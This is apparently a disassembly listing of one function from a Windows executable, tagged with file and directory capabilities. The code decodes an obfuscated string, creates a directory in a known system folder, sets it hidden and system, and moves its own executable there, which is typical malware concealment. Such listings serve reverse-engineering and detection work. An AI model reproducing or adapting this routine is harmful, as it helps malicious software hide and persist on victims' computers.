Function at 0x140001b0a
Capabilities:
Create directory
Get common file path
Move file
Set file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
lea rax, [rbp - 0x28]
mov r9, rax
mov r8d, 0
mov edx, 0
mov rax, qword [0x140008d50]
mov rcx, rax
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
setne al
test al, al
je 0x140001b46
mov eax, 0
jmp 0x140001db5
mov dword [rbp - 4], 7
jmp 0x140001bb2
mov eax, dword [rbp - 4]
cdqe
lea rdx, str.http:__M17HG4FzeJ69F5.f_vfquhvnv_fwdhud_vf_lpktud_lj_4_uk_Lpfwjvjcu_Rpkejrv_Tyehud_uw__v_uqpvpvuqdvuhwu___c.mobm.com
add rax, rdx
mov eax, dword [rax]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 8], 0
jmp 0x140001b89
lea rax, [rbp - 0x2c]
movzx eax, byte [rax]
lea edx, [rax - 0x2b]
lea rax, [rbp - 0x2c]
mov byte [rax], dl
mov eax, dword [rbp - 0x2c]
ror eax, 8
mov dword [rbp - 0x2c], eax
add dword [rbp - 8], 1
cmp dword [rbp - 8], 3
jle 0x140001b6c
mov eax, dword [rbp - 0x2c]
xor eax, 0x6f6f6f6f
mov dword [rbp - 0x2c], eax
mov eax, dword [rbp - 4]
cdqe
lea rdx, str.http:__M17HG4FzeJ69F5.f_vfquhvnv_fwdhud_vf_lpktud_lj_4_uk_Lpfwjvjcu_Rpkejrv_Tyehud_uw__v_uqpvpvuqdvuhwu___c.mobm.com
add rdx, rax
mov eax, dword [rbp - 0x2c]
mov dword [rdx], eax
add dword [rbp - 4], 4
cmp dword [rbp - 4], 0x16
jle 0x140001b4f
mov byte [0x140007017], 0
lea rax, [0x140007007]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jne 0x140001c06
mov eax, 0
jmp 0x140001db5
mov eax, dword [rbp - 0xc]
cdqe
add rax, rax
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140001c2b
mov eax, 0
jmp 0x140001db5
lea rdx, [0x140007007]
mov eax, dword [rbp - 0xc]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov rax, qword [rbp - 0x28]
lea rcx, [rbp - 0x38]
mov rdx, qword [rbp - 0x18]
mov r9, rcx
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathAllocCombine]
call rax
test eax, eax
setne al
test al, al
je 0x140001c9e
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
jmp 0x140001db5
mov rax, qword [rbp - 0x38]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call rax
mov rax, qword [rbp - 0x38]
mov edx, 0x26
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call rax
mov ecx, 0x208
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
mov rax, qword [rbp - 0x38]
lea rcx, [rbp - 0x38]
mov rdx, qword [rbp - 0x18]
mov r9, rcx
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathAllocCombine]
call rax
test eax, eax
setne al
test al, al
je 0x140001d3a
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
jmp 0x140001db5
mov rdx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileW]
call rax
test eax, eax
sete al
test al, al
je 0x140001d7b
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
call fcn.14000197a
mov eax, 0
jmp 0x140001db5
mov rax, qword [rbp - 0x38]
mov edx, 0x26
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x38]
mov rcx, rax
call fcn.140001992
nop
add rsp, 0x70
pop rbp
ret